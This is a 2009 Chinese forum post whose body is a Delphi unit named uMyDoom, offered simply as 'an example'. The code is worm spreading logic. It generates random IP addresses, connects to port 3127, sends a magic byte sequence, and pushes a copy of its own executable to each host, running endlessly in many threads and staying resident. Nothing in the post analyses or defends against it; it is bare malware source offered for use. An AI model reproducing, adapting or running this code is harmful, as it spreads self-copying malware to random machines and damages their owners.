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楼主 |
发表于 2009-4-20 14:31:06
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来个例子:
UNIT uMyDoom;
INTERFACE
USES
Windows, WinSock, WinInet, sysutils;
PROCEDURE StartMyDoom(NumberOfThreads:WORD);
IMPLEMENTATION
VAR
Request : ARRAY[1..5] OF BYTE = ($85,$13,$3c,$9e,$a2);
TYPE
TMyDoom = CLASS(TObject)
PRIVATE
LANInfect : BOOL;
ISPInfect : BOOL;
szIPAddr : STRING;
szRemoteAddr : STRING;
PROCEDURE SendFile(FileName,HostName:STRING);
PUBLIC
PROCEDURE StartMyDoom;
END;
//------------------------------------------------------------------------------
PROCEDURE TMyDoom.SendFile(FileName,HostName:STRING);
VAR
F : FILE;
Sock : Integer;
I : Integer;
J : Integer;
Is_EOF : Boolean;
TV : TTimeVal;
Addr : TSockAddrIn;
Buf : ARRAY [0..1023] OF Char;
BEGIN
szIPAddr:=IntToStr(Random(222)+1)+'.'+IntToStr(Random(255)+1)+'.'+IntToStr(Random(255)+1)+'.'+IntToStr(Random(255)+1);
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Addr.sin_family:=AF_INET;
Addr.sin_addr.S_addr:=inet_addr(pChar(szIPAddr));
Addr.sin_port:=htons(3127);
IF Sock<=0 THEN Exit;
IF Connect(Sock,Addr,SizeOf(Addr))<>0 THEN Exit;
Send(Sock,Request[1],5,0);
AssignFile(F,FileName);
FileMode:=0;
I:=0;
Reset(F,1);
REPEAT
BlockRead(F,Buf[0],SizeOf(Buf),J);
IF J<=0 THEN Break;
IF Send(Sock,Buf[0],J,0)<=0 THEN Break;
I:=I+J;
UNTIL j<>1024;
CloseSocket(Sock);
CloseFile(F);
END;
//------------------------------------------------------------------------------
PROCEDURE TMyDoom.StartMyDoom;
VAR
WD : TWSAData;
BEGIN
WHILE True DO BEGIN
WHILE NOT InternetGetConnectedState(NIL,0) DO Sleep(1000);
WSAStartUp(MakeWord(1,1),WD);
SendFile(paramstr(0),szIPAddr);
WSACleanup;
END;
END;
//------------------------------------------------------------------------------
PROCEDURE StartRandomThread;
VAR
MyDoom : TMyDoom;
BEGIN
MyDoom:=TMyDoom.Create;
MyDoom.StartMyDoom;
END;
//------------------------------------------------------------------------------
PROCEDURE StartMyDoom(NumberOfThreads:WORD);
VAR
I : WORD;
Msg : TMsg;
ThreadId : Cardinal;
BEGIN
Randomize;
FOR I:=1 TO NumberOfThreads DO BeginThread(NIL,0,@StartRandomThread,NIL,0,ThreadID);
WHILE GetMessage(Msg,0,0,0) DO DispatchMessage(Msg); //Make application resident
END;
END. |
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